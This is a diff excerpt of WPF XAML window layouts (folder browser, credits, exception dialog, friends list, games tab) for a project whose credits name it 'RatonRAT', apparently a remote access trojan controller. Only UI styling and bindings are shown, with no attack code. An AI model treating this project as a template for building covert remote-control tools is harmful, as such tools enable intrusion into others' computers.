</Setter>
</Style>
</FrameworkElement.Resources>
<FrameworkElement.Triggers>
<EventTrigger RoutedEvent="Window.Loaded">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetName="Root" Storyboard.TargetProperty="Opacity" From="0" To="1"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetName="Root"
Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.Y)" From="6" To="0"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</FrameworkElement.Triggers>
<Grid x:Name="Root" Margin="14">
<UIElement.RenderTransform>
<TranslateTransform Y="0"/>
</UIElement.RenderTransform>
<Grid.RowDefinitions>
<RowDefinition Height="36"/>
<RowDefinition Height="Auto"/>
<RowDefinition/>
<RowDefinition Height="28"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="#252525" CornerRadius="6" Padding="8,0" Margin="0,0,0,10">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<Button Click="BtnBack_Click" x:Name="BtnBack" Style="{StaticResource BackButton}" Visibility="Collapsed"
ToolTip="Go back">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="12" Foreground="#9370C0"/>
</Button>
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" Foreground="#7B5EA7" Margin="0,0,8,0"/>
<TextBlock x:Name="TbFolderPath" Text="Clients" Foreground="#888" FontSize="12"/>
</StackPanel>
</Border>
<Grid Row="1" Margin="0,0,0,10">
<TextBox TextChanged="TbSearch_TextChanged" x:Name="TbSearch" Style="{StaticResource SearchBox}"/>
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" Foreground="#555" IsHitTestVisible="false"
Margin="12,0,0,0" HorizontalAlignment="Left" VerticalAlignment="Center"/>
<TextBlock x:Name="TbSearchPlaceholder" Text="Search folders..." Foreground="#555" FontSize="13"
IsHitTestVisible="false" Margin="36,0,0,0" VerticalAlignment="Center"/>
</Grid>
<Grid Row="2" Margin="0,0,0,10">
<DataGrid MouseDoubleClick="FoldersGrid_MouseDoubleClick" x:Name="FoldersGrid"
Style="{StaticResource FoldersGrid}">
<DataGrid.Columns>
<DataGridTemplateColumn Header="NAME" Width="*" MinWidth="160">
<DataGridTemplateColumn.CellTemplate>
<DataTemplate>
<StackPanel Orientation="Horizontal" Margin="6,0">
<Border Height="1" Background="Transparent" Width="{Binding IndentWidth}"/>
<Border Width="24" Height="24" CornerRadius="4" Margin="0,0,10,0">
<Border.Background>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,1">
<GradientStop Color="#4A3A6A" Offset="0"/>
<GradientStop Color="#6B4E9A" Offset="1"/>
</LinearGradientBrush>
</Border.Background>
<TextBlock FontFamily="Segoe MDL2 Assets" FontSize="12" Foreground="#CCCCCC" HorizontalAlignment="Center"
VerticalAlignment="Center" Text="{Binding IconGlyph}"/>
</Border>
<TextBlock Foreground="#CCCCCC" FontSize="13" VerticalAlignment="Center" Text="{Binding FolderName}"/>
</StackPanel>
</DataTemplate>
</DataGridTemplateColumn.CellTemplate>
</DataGridTemplateColumn>
<DataGridTemplateColumn Header="LEVEL" Width="72">
<DataGridTemplateColumn.CellTemplate>
<DataTemplate>
<Border Background="#2A1F3D" CornerRadius="4" Padding="6,2" HorizontalAlignment="Left" Margin="4,0">
<TextBlock Foreground="#9370C0" FontSize="11" FontWeight="SemiBold" Text="{Binding DepthLabel}"/>
</Border>
</DataTemplate>
</DataGridTemplateColumn.CellTemplate>
</DataGridTemplateColumn>
<DataGridTextColumn Header="ITEMS" Width="80" Binding="{Binding ItemCount}">
<DataGridBoundColumn.ElementStyle>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#666"/>
<Setter Property="TextBlock.FontSize" Value="12"/>
<Setter Property="FrameworkElement.Margin" Value="8,0"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
</Style>
</DataGridBoundColumn.ElementStyle>
</DataGridTextColumn>
<DataGridTextColumn Header="MODIFIED" Width="130" Binding="{Binding LastModified}">
<DataGridBoundColumn.ElementStyle>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#666"/>
<Setter Property="TextBlock.FontSize" Value="12"/>
<Setter Property="FrameworkElement.Margin" Value="8,0"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
</Style>
</DataGridBoundColumn.ElementStyle>
</DataGridTextColumn>
</DataGrid.Columns>
</DataGrid>
<Border x:Name="ToastEmpty" Background="#2A1F3D" BorderBrush="#7B5EA7" BorderThickness="1" CornerRadius="8"
Padding="16,10" HorizontalAlignment="Center" VerticalAlignment="Center" Opacity="0"
IsHitTestVisible="false">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="14" Foreground="#9370C0" Margin="0,0,10,0"/>
<TextBlock Text="This folder is empty" Foreground="#CCCCCC" FontSize="13"/>
</StackPanel>
</Border>
</Grid>
<Border Grid.Row="3" Background="#252525" CornerRadius="6" Padding="12,0">
<Grid>
<TextBlock x:Name="TbStatus" Text="0 folders" Foreground="#555" FontSize="11" HorizontalAlignment="Left"
VerticalAlignment="Center"/>
<TextBlock Text="Double-click to open" Foreground="#444" FontSize="11" HorizontalAlignment="Right"
VerticalAlignment="Center"/>
</Grid>
</Border>
</Grid>
</Window>
+171
View File
@@ -0,0 +1,171 @@
<Window x:Class="Raton.Windows.Credits"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
xmlns:local="clr-namespace:Raton.Windows"
Title="Credits" Width="796.526" Height="560" MinWidth="480" MinHeight="400" Background="#FF202020"
WindowStartupLocation="CenterOwner" ResizeMode="CanResize" Icon="/Raton;component/RATA.ico">
<FrameworkElement.Resources>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightBrushKey}" Color="#3A2D5A"/>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightBrushKey}" Color="#2E2240"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.ControlBrushKey}" Color="#1E1E1E"/>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#CCCCCC"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
</Style>
<Style x:Key="CreditItemStyle" TargetType="{x:Type ListBoxItem}">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="Control.Padding" Value="12,0"/>
<Setter Property="FrameworkElement.Height" Value="64"/>
<Setter Property="FrameworkElement.FocusVisualStyle" Value="{x:Null}"/>
<Setter Property="Control.HorizontalContentAlignment" Value="Stretch"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ListBoxItem}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}" BorderBrush="#2A2A2A"
BorderThickness="0,0,0,1" Padding="{TemplateBinding Control.Padding}">
<ContentPresenter VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#242424"/>
</Trigger>
<Trigger Property="ListBoxItem.IsSelected" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#3A2D5A"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="CreditListStyle" TargetType="{x:Type ListBox}">
<Setter Property="Control.Background" Value="#252525"/>
<Setter Property="Control.BorderBrush" Value="#333333"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="ScrollViewer.HorizontalScrollBarVisibility" Value="Disabled"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ListBox}">
<Border Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="8">
<ScrollViewer Focusable="false" Padding="0">
<ItemsPresenter/>
</ScrollViewer>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
</FrameworkElement.Resources>
<FrameworkElement.Triggers>
<EventTrigger RoutedEvent="Window.Loaded">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetName="Root" Storyboard.TargetProperty="Opacity" From="0" To="1"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetName="Root"
Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.Y)" From="8" To="0"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</FrameworkElement.Triggers>
<Grid x:Name="Root" Margin="14">
<UIElement.RenderTransform>
<TranslateTransform Y="0"/>
</UIElement.RenderTransform>
<Grid.RowDefinitions>
<RowDefinition Height="Auto"/>
<RowDefinition Height="28"/>
<RowDefinition/>
<RowDefinition Height="32"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="#252525" CornerRadius="8" Padding="16,12" Margin="0,0,0,10">
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="Auto"/>
<ColumnDefinition/>
</Grid.ColumnDefinitions>
<Grid Column="0" Width="48" Height="48" Margin="0,0,14,0">
<Ellipse Width="48" Height="48">
<Shape.Fill>
<ImageBrush ImageSource="ratonicon1.png" Stretch="UniformToFill"/>
</Shape.Fill>
</Ellipse>
</Grid>
<StackPanel Grid.Column="1" VerticalAlignment="Center">
<TextBlock Text="Amazing people behind RatonRAT (and other stuff)" Foreground="White" FontSize="14"
FontWeight="SemiBold" VerticalAlignment="Center"/>
<TextBlock Text="Thanks to the following people for making this project possible and comfortable"
Foreground="#666" FontSize="11" Margin="0,3,0,0" TextWrapping="Wrap"/>
</StackPanel>
</Grid>
</Border>
<Border Grid.Row="1" Background="#2A2A2A" CornerRadius="6" Padding="0" Margin="0,0,0,4">
<Grid Margin="76,0,12,0">
<Grid.ColumnDefinitions>
<ColumnDefinition Width="170"/>
<ColumnDefinition/>
</Grid.ColumnDefinitions>
<TextBlock Grid.Column="0" Text="USERNAME" Foreground="#555" FontSize="11" FontWeight="SemiBold"
VerticalAlignment="Center"/>
<TextBlock Grid.Column="1" Text="CONTRIBUTION" Foreground="#555" FontSize="11" FontWeight="SemiBold"
VerticalAlignment="Center"/>
</Grid>
</Border>
<ListBox x:Name="CreditsList" Grid.Row="2" Style="{StaticResource CreditListStyle}"
ItemContainerStyle="{StaticResource CreditItemStyle}" Margin="0,0,0,10">
<ItemsControl.ItemTemplate>
<DataTemplate>
<Grid>
<Grid.ColumnDefinitions>
<ColumnDefinition Width="44"/>
<ColumnDefinition Width="170"/>
<ColumnDefinition/>
</Grid.ColumnDefinitions>
<Grid Column="0" Width="38" Height="38" HorizontalAlignment="Left">
<Ellipse Width="38" Height="38">
<Shape.Fill>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,1">
<GradientStop Color="#4A3A6A" Offset="0"/>
<GradientStop Color="#6B4E9A" Offset="1"/>
</LinearGradientBrush>
</Shape.Fill>
</Ellipse>
<Ellipse Width="38" Height="38">
<Shape.Fill>
<ImageBrush Stretch="UniformToFill" RenderOptions.BitmapScalingMode="HighQuality"
ImageSource="{Binding AvatarPath}"/>
</Shape.Fill>
</Ellipse>
<Ellipse Width="38" Height="38" Stroke="#7B5EA7" StrokeThickness="1.5" Fill="Transparent"/>
</Grid>
<StackPanel Grid.Column="1" VerticalAlignment="Center" Margin="10,0,8,0">
<TextBlock Foreground="#CCCCCC" FontSize="13" FontWeight="SemiBold" Text="{Binding DisplayName}"/>
<TextBlock Foreground="#7B5EA7" FontSize="11" Margin="0,2,0,0" Text="{Binding Handle}"/>
</StackPanel>
<TextBlock Grid.Column="2" Foreground="#888" FontSize="12" VerticalAlignment="Center" TextWrapping="NoWrap"
TextTrimming="CharacterEllipsis" Text="{Binding Contribution}" ToolTip="{Binding Contribution}"/>
</Grid>
</DataTemplate>
</ItemsControl.ItemTemplate>
</ListBox>
<Border Grid.Row="3" Background="#252525" CornerRadius="6" Padding="12,0">
<TextBlock Text="Raton was made with ❤ by the community" FontFamily="Arial" Foreground="#444" FontSize="11"
VerticalAlignment="Center" HorizontalAlignment="Center"/>
</Border>
</Grid>
</Window>
+35
View File
@@ -0,0 +1,35 @@
<Window x:Class="Raton.Windows.ExceptionWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
Title="Error during action" Height="450" Width="800" Background="#1C1C1C"
WindowStartupLocation="CenterScreen" ResizeMode="NoResize">
<Grid>
<Grid.RowDefinitions>
<RowDefinition Height="52"/>
<RowDefinition Height="*"/>
<RowDefinition Height="52"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="#202020" BorderBrush="#2A2A2A" BorderThickness="0,0,0,1" Padding="16,0">
<StackPanel Orientation="Horizontal" VerticalAlignment="Center">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="16" Foreground="#EF5350"
VerticalAlignment="Center" Margin="0,0,10,0"/>
<TextBlock Text="Unhandled Exception" Foreground="#CCCCCC" FontSize="13" FontWeight="SemiBold"
VerticalAlignment="Center"/>
</StackPanel>
</Border>
<Border Grid.Row="1" Margin="16" Background="#141414" BorderBrush="#2E2E2E" BorderThickness="1"
CornerRadius="4">
<TextBox x:Name="ExceptionTextBox" Background="Transparent" Foreground="#E0E0E0" BorderThickness="0"
FontFamily="Consolas" FontSize="12" IsReadOnly="true" TextWrapping="Wrap"
VerticalScrollBarVisibility="Auto" HorizontalScrollBarVisibility="Disabled"
CaretBrush="Transparent" SelectionBrush="#5C5C8A" Padding="12" VerticalContentAlignment="Top"
Text="Exception details will appear here..."/>
</Border>
<Border Grid.Row="2" Background="#202020" BorderBrush="#2A2A2A" BorderThickness="0,1,0,0" Padding="16,0">
<TextBlock Text="An unhandled exception occurred. Please report this to the developer." Foreground="#444"
FontSize="11" VerticalAlignment="Center" HorizontalAlignment="Left"/>
</Border>
</Grid>
</Window>
+243
View File
@@ -0,0 +1,243 @@
<Window x:Class="WpfApp1.FriendsWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
Title="Friends" Width="520" Height="640" MinWidth="400" MinHeight="500" Background="#FF202020"
WindowStartupLocation="CenterOwner" ResizeMode="CanResize" Icon="/Raton;component/RATA.ico">
<FrameworkElement.Resources>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightBrushKey}" Color="#3A2D5A"/>
<SolidColorBrush x:Key="{x:Static SystemColors.HighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightBrushKey}" Color="#2E2240"/>
<SolidColorBrush x:Key="{x:Static SystemColors.InactiveSelectionHighlightTextBrushKey}" Color="White"/>
<SolidColorBrush x:Key="{x:Static SystemColors.ControlBrushKey}" Color="#1E1E1E"/>
<Style TargetType="{x:Type TextBlock}">
<Setter Property="TextBlock.Foreground" Value="#CCCCCC"/>
<Setter Property="FrameworkElement.VerticalAlignment" Value="Center"/>
</Style>
<Style x:Key="FriendItemStyle" TargetType="{x:Type ListBoxItem}">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="Control.Padding" Value="8,0"/>
<Setter Property="FrameworkElement.Height" Value="48"/>
<Setter Property="FrameworkElement.FocusVisualStyle" Value="{x:Null}"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ListBoxItem}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}"
Padding="{TemplateBinding Control.Padding}">
<ContentPresenter VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#2A2A2A"/>
</Trigger>
<Trigger Property="ListBoxItem.IsSelected" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#3A2D5A"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="FriendListStyle" TargetType="{x:Type ListBox}">
<Setter Property="Control.Background" Value="#252525"/>
<Setter Property="Control.BorderBrush" Value="#333333"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="ScrollViewer.HorizontalScrollBarVisibility" Value="Disabled"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type ListBox}">
<Border Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="6">
<ScrollViewer Focusable="false" Padding="0,4">
<ItemsPresenter/>
</ScrollViewer>
</Border>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="InputBox" TargetType="{x:Type TextBox}">
<Setter Property="Control.Background" Value="#252525"/>
<Setter Property="Control.Foreground" Value="#CCCCCC"/>
<Setter Property="TextBoxBase.CaretBrush" Value="#CCCCCC"/>
<Setter Property="Control.BorderBrush" Value="#3A3A3A"/>
<Setter Property="Control.BorderThickness" Value="1"/>
<Setter Property="Control.Padding" Value="12,0"/>
<Setter Property="FrameworkElement.Height" Value="38"/>
<Setter Property="Control.FontSize" Value="13"/>
<Setter Property="Control.VerticalContentAlignment" Value="Center"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type TextBox}">
<Border Background="{TemplateBinding Control.Background}"
BorderBrush="{TemplateBinding Control.BorderBrush}"
BorderThickness="{TemplateBinding Control.BorderThickness}" CornerRadius="6">
<ScrollViewer x:Name="PART_ContentHost" Margin="{TemplateBinding Control.Padding}" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsFocused" Value="true">
<Setter Property="Control.BorderBrush" Value="#7B5EA7"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="PurpleButton" TargetType="{x:Type Button}">
<Setter Property="Control.Background" Value="#7B5EA7"/>
<Setter Property="Control.Foreground" Value="White"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="FrameworkElement.Height" Value="42"/>
<Setter Property="Control.FontSize" Value="13"/>
<Setter Property="Control.FontWeight" Value="SemiBold"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="UIElement.RenderTransformOrigin" Value="0.5,0.5"/>
<Setter Property="UIElement.RenderTransform">
<Setter.Value>
<ScaleTransform ScaleX="1" ScaleY="1"/>
</Setter.Value>
</Setter>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Border x:Name="Bd" Background="{TemplateBinding Control.Background}" CornerRadius="8">
<ContentPresenter HorizontalAlignment="Center" VerticalAlignment="Center"/>
</Border>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#9370C0"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="Bd" Property="Border.Background" Value="#5E4480"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
<Style.Triggers>
<EventTrigger RoutedEvent="MouseEnter">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleX)" To="1.015"
Duration="0:0:0.12">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleY)" To="1.015"
Duration="0:0:0.12">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
<EventTrigger RoutedEvent="MouseLeave">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleX)" To="1"
Duration="0:0:0.15">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetProperty="(UIElement.RenderTransform).(ScaleTransform.ScaleY)" To="1"
Duration="0:0:0.15">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</Style.Triggers>
</Style>
</FrameworkElement.Resources>
<FrameworkElement.Triggers>
<EventTrigger RoutedEvent="Window.Loaded">
<BeginStoryboard>
<Storyboard>
<DoubleAnimation Storyboard.TargetName="Root" Storyboard.TargetProperty="Opacity" From="0" To="1"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
<DoubleAnimation Storyboard.TargetName="Root"
Storyboard.TargetProperty="(UIElement.RenderTransform).(TranslateTransform.Y)" From="6" To="0"
Duration="0:0:0.25">
<DoubleAnimation.EasingFunction>
<CubicEase EasingMode="EaseOut"/>
</DoubleAnimation.EasingFunction>
</DoubleAnimation>
</Storyboard>
</BeginStoryboard>
</EventTrigger>
</FrameworkElement.Triggers>
<Grid x:Name="Root" Margin="14">
<UIElement.RenderTransform>
<TranslateTransform Y="0"/>
</UIElement.RenderTransform>
<Grid.RowDefinitions>
<RowDefinition Height="36"/>
<RowDefinition/>
<RowDefinition Height="Auto"/>
</Grid.RowDefinitions>
<Border Grid.Row="0" Background="#252525" CornerRadius="6" Padding="12,0" Margin="0,0,0,8">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="13" Foreground="#7B5EA7" Margin="0,0,8,0"/>
<TextBlock x:Name="TbAccountHeader" Text="Your friends" Foreground="#888" FontSize="12"/>
</StackPanel>
</Border>
<ListBox x:Name="FriendsList" Grid.Row="1" Style="{StaticResource FriendListStyle}"
ItemContainerStyle="{StaticResource FriendItemStyle}" Margin="0,0,0,10">
<ItemsControl.ItemTemplate>
<DataTemplate>
<StackPanel Orientation="Horizontal">
<Grid Width="32" Height="32" Margin="0,0,10,0">
<Ellipse Width="32" Height="32">
<Shape.Fill>
<LinearGradientBrush StartPoint="0,0" EndPoint="1,1">
<GradientStop Color="#4A3A6A" Offset="0"/>
<GradientStop Color="#6B4E9A" Offset="1"/>
</LinearGradientBrush>
</Shape.Fill>
</Ellipse>
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="14" Foreground="#888"
HorizontalAlignment="Center" VerticalAlignment="Center"/>
</Grid>
<TextBlock Foreground="#CCCCCC" FontSize="13" VerticalAlignment="Center" Text="{Binding DisplayName}"/>
</StackPanel>
</DataTemplate>
</ItemsControl.ItemTemplate>
</ListBox>
<StackPanel Grid.Row="2" Margin="0,0,0,2">
<Grid Margin="0,0,0,10">
<TextBox TextChanged="TbFriendId_TextChanged" x:Name="TbFriendId" Style="{StaticResource InputBox}"/>
<TextBlock x:Name="TbPlaceholder" Text="Enter account ID" Foreground="#555" FontSize="13"
IsHitTestVisible="false" Margin="13,0,0,0" VerticalAlignment="Center"/>
</Grid>
<Button Click="BtnAdd_Click" x:Name="BtnAdd" Style="{StaticResource PurpleButton}" Margin="0,0,0,8">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="14" Margin="0,0,8,0" Foreground="White"/>
<TextBlock Text="Add friend" Foreground="White" FontSize="13" FontWeight="SemiBold"/>
</StackPanel>
</Button>
<Button Click="BtnRemove_Click" x:Name="BtnRemove" Style="{StaticResource PurpleButton}" Margin="0,0,0,8">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="14" Margin="0,0,8,0" Foreground="White"/>
<TextBlock Text="Remove friend" Foreground="White" FontSize="13" FontWeight="SemiBold"/>
</StackPanel>
</Button>
<Button Click="BtnShareLink_Click" x:Name="BtnShareLink" Style="{StaticResource PurpleButton}">
<StackPanel Orientation="Horizontal">
<TextBlock Text="" FontFamily="Segoe MDL2 Assets" FontSize="14" Margin="0,0,8,0" Foreground="White"/>
<TextBlock Text="Set your share link" Foreground="White" FontSize="13" FontWeight="SemiBold"/>
</StackPanel>
</Button>
</StackPanel>
</Grid>
</Window>
+330
View File
@@ -0,0 +1,330 @@
<Window x:Class="Raton.Windows.Games"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:d="http://schemas.microsoft.com/expression/blend/2008"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
Title="Games" Height="560" Width="840" WindowStartupLocation="CenterScreen" Background="#1C1C1C"
WindowStyle="SingleBorderWindow" AllowsTransparency="false" ResizeMode="CanMinimize"
FontFamily="Segoe UI">
<FrameworkElement.Resources>
<SolidColorBrush x:Key="BgMain" Color="#1C1C1C"/>
<SolidColorBrush x:Key="BgPanel" Color="#202020"/>
<SolidColorBrush x:Key="Accent" Color="#5C4B8A"/>
<SolidColorBrush x:Key="AccentLight" Color="#7B5EA7"/>
<SolidColorBrush x:Key="AccentDim" Color="#2A2035"/>
<SolidColorBrush x:Key="Border1" Color="#2A2A2A"/>
<SolidColorBrush x:Key="Border2" Color="#383838"/>
<SolidColorBrush x:Key="TextPrimary" Color="#DDDDDD"/>
<SolidColorBrush x:Key="TextSecondary" Color="#888888"/>
<SolidColorBrush x:Key="TextMuted" Color="#555555"/>
<SolidColorBrush x:Key="Green" Color="#4CAF50"/>
<SolidColorBrush x:Key="Red" Color="#EF5350"/>
<Style x:Key="TabBtn" TargetType="{x:Type Button}">
<Setter Property="Control.Background" Value="Transparent"/>
<Setter Property="Control.Foreground" Value="{StaticResource TextSecondary}"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="Control.Padding" Value="16,0"/>
<Setter Property="Control.FontSize" Value="12.5"/>
<Setter Property="FrameworkElement.Height" Value="42"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Grid>
<Border x:Name="bg" Background="{TemplateBinding Control.Background}" CornerRadius="4"/>
<Border x:Name="indicator" Height="2" VerticalAlignment="Bottom" Background="Transparent"
CornerRadius="2,2,0,0" Margin="10,0"/>
<ContentPresenter HorizontalAlignment="Center" VerticalAlignment="Center" Margin="{TemplateBinding Control.Padding}"/>
</Grid>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="bg" Property="Border.Background" Value="#252525"/>
<Setter Value="{StaticResource TextPrimary}" Property="Control.Foreground"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="bg" Property="Border.Background" Value="#2E2E2E"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
<Style x:Key="TabBtnActive" TargetType="{x:Type Button}">
<Setter Property="Control.Background" Value="#252525"/>
<Setter Property="Control.Foreground" Value="{StaticResource TextPrimary}"/>
<Setter Property="Control.BorderThickness" Value="0"/>
<Setter Property="Control.Padding" Value="16,0"/>
<Setter Property="Control.FontSize" Value="12.5"/>
<Setter Property="Control.FontWeight" Value="SemiBold"/>
<Setter Property="FrameworkElement.Height" Value="42"/>
<Setter Property="FrameworkElement.Cursor" Value="Hand"/>
<Setter Property="Control.Template">
<Setter.Value>
<ControlTemplate TargetType="{x:Type Button}">
<Grid>
<Border x:Name="bg" Background="{TemplateBinding Control.Background}" CornerRadius="4"/>
<Border x:Name="indicator" Height="2" VerticalAlignment="Bottom" Background="{StaticResource Accent}"
CornerRadius="2,2,0,0" Margin="10,0"/>
<ContentPresenter HorizontalAlignment="Center" VerticalAlignment="Center" Margin="{TemplateBinding Control.Padding}"/>
</Grid>
<ControlTemplate.Triggers>
<Trigger Property="UIElement.IsMouseOver" Value="true">
<Setter TargetName="bg" Property="Border.Background" Value="#2E2E2E"/>
</Trigger>
<Trigger Property="ButtonBase.IsPressed" Value="true">
<Setter TargetName="bg" Property="Border.Background" Value="#333333"/>
</Trigger>
</ControlTemplate.Triggers>
</ControlTemplate>
</Setter.Value>
</Setter>
</Style>
